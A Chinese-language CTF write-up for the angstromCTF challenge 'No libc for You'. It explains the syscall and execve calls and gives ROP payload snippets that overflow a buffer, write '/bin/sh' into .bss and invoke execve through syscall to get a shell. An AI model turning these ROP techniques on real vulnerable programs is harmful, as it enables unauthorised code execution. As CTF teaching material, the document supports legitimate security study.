首页 > 代码库 > angstromctf -No libc for You
angstromctf -No libc for You
0x00 syscall
syscall函数原型为:int syscall(int number, ...)其中number是系统调用号,number后面应顺序接上该系统调用的所有参数.大概意思是当调用syscall函数时,系统会去syscall调用表中寻找对应的系统函数,再把相应的参数赋给要调用的函数,然后执行该函数。
例如:调用read函数
syscall(0,0,buf,8) - 0 是系统函数read的调用号,相当于执行read(0,buf,8)
详细说明:
Linux系统调用(syscall)原理
linux 系统调用
0x01 execve
execve函数原型int execve(const char * filename,char * const argv[ ],char * const envp[ ])execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。例如:执行/bin/shexecve("/bin/sh",0,0)
详细说明:
execve的使用方法
0x02 No libc for You
1.思路
先将/bin/sh写入bss,再通过syscall调用execve(‘/bin/sh‘)获得shell
2.写/bin/sh到bss
#write_bss payload = "A" * 72 payload += p64(pop_rdi) + p64(bss_addr) payload += p64(gets_addr) payload += p64(vuln_addr) s.sendline(payload) s.sendline("/bin/sh\0")
3.调用execve(‘/bin/sh‘)
# get_shell payload = "A" * 72 payload += p64(rax_rdx_rbx_ret) + p64(0x3b) + p64(0) + p64(0) payload += p64(rsi_ret) + p64(0) payload += p64(pop_rdi) + p64(bss_addr) payload += p64(syscall) s.sendline(payload)
angstromctf -No libc for You
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。